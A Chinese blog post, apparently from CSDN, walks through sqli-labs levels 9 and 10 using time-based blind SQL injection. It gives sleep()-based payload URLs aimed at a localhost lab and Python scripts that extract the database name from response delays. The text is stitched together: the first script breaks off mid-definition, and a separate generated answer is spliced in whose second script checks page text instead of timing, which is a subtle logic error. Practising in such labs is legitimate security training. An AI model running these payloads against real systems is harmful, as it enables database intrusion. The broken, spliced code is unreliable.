sqli-labs第九关&第十关(延时盲注)

本文介绍了如何利用时间盲注技术解决sqli-labs的第九关和第十关。通过观察请求延迟,结合if语句与sleep函数,编写Python脚本来自动进行延时盲注,最终成功过关。第十关需注意字符串引用的差异。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

刚开始进入这一关时对这一关进行了常规的注入过程,并未发现有可以利用的地方,然后怎么办呢?去作弊嘛,看了看标题,第九关叫"time based-single quotes"基于时间—单引号,于是乎,就去试了试时间盲注,使用单引号闭合,请求如下:

http://localhost:90/sqli-labs-master/Less-9/?id=1' and (select sleep(3))--+

然后发现这个请求延时了3S
在这里插入图片描述
进行到这里,就有了一套完整的思路,时间盲注和之前的布尔盲注思路差不多,布尔盲注靠UI界面的变化判断真假,延时盲注靠请求的延时发出判断真假,先手工注入一个:

http://localhost:90/sqli-labs-master/Less-8/?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(2),1)--+

在这里插入图片描述
可以看到,请求被延时了2S,可行
这里使用的if(expr1,expr2,expr3),expr1为真则执行2,为假则执行3,加上sleep方法即可让我们判断条件的真假,requests库中elapsed方法可返回响应时间,使用elapsed.total_seconds()得到响应时间单位为S,知道这些就可以写个简单的脚本自动注入,代码如下:

import requests


# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://localhost:90/sqli-labs-master/Less-9/?id=1' and if(length(database())>{
     
     i},1,sleep(2))"
        r = requests.get(url + '%23')
        if r.elapsed.total_seconds()>2:
            print('database_length:', i)
            return i


#获取数据库名
def database_name(databaselen)
### sqli-labs 第九 时间解决方案 针对 sqli-labs第九时间挑战,编写自动化脚本是有效的方法之一。由于时间的特点,在入过程中只能通过猜测并验证数据库响应时间来推断数据[^2]。 #### Python 脚本实现时间攻击 下面是一个基于Python的时间攻击脚本示例: ```python import requests import string url = "http://localhost/sqli/Less-9/?id=1" true_string = 'Welcome' charset = string.digits + string.ascii_lowercase + string.ascii_uppercase + "!@#$%^&*()-_=+[]{}|;:,.<>?/~`" def check(payload): res = requests.get(url + payload) return true_string not in res.text database_name_length = 0 for i in range(1, 20): payload = f"' AND IF(LENGTH(database())={i}, sleep(5), 0)-- " if check(payload): database_name_length = i break print(f"Database name length is {database_name_length}") database_name = '' for i in range(1, database_name_length + 1): for char in charset: payload = f"' AND IF(SUBSTRING(database(),{i},1)='{char}',sleep(5),0)-- " if check(payload): database_name += char print(f"[+] Found character: {char}") break print(f"The database name is '{database_name}'") ``` 此段代码实现了对数据库名称长度及其具体内容的提取过程。首先确定数据库名的总字符数,再逐位猜解每一位上的具体字符直至完成整个字符串重建工作。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值